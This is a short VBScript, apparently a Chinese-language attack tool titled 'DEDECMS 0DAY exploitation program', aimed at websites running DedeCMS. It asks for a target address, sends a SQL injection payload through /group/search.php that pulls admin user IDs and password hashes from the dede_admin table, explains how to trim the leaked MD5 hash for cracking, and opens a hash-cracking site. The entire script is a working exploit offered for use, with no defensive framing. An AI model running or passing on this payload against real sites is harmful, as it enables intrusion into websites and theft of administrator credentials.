DIM a,i,e,ie,cmd5
i=InputBox ("输入目标地址 格式http://www.dedecms.com","DEDECMS 0DAY利用程序 BY Nuke")
If i="" Then
msgbox "请输入地址"
WScript.Quit
End If
e = "/group/search.php?sad=g&keyword=%cf'%20union%20select%201,pwd,user(),4,5,6,7,8,userid,10,11,12,13,14,15,16,17%20from%20dede_admin/* "
ie = i&e
Set a=WScript.CreateObject("InternetExplorer.Application")
a.visible=True
a.navigate ie
Msgbox "暴出值为32位截取24位MD5,取最后16位,破解即可"
msgbox "祝你好运！"
set cmd5 = WScript.CreateObject("WScript.Shell")
cmd5.run ("http://www.cmd5.com")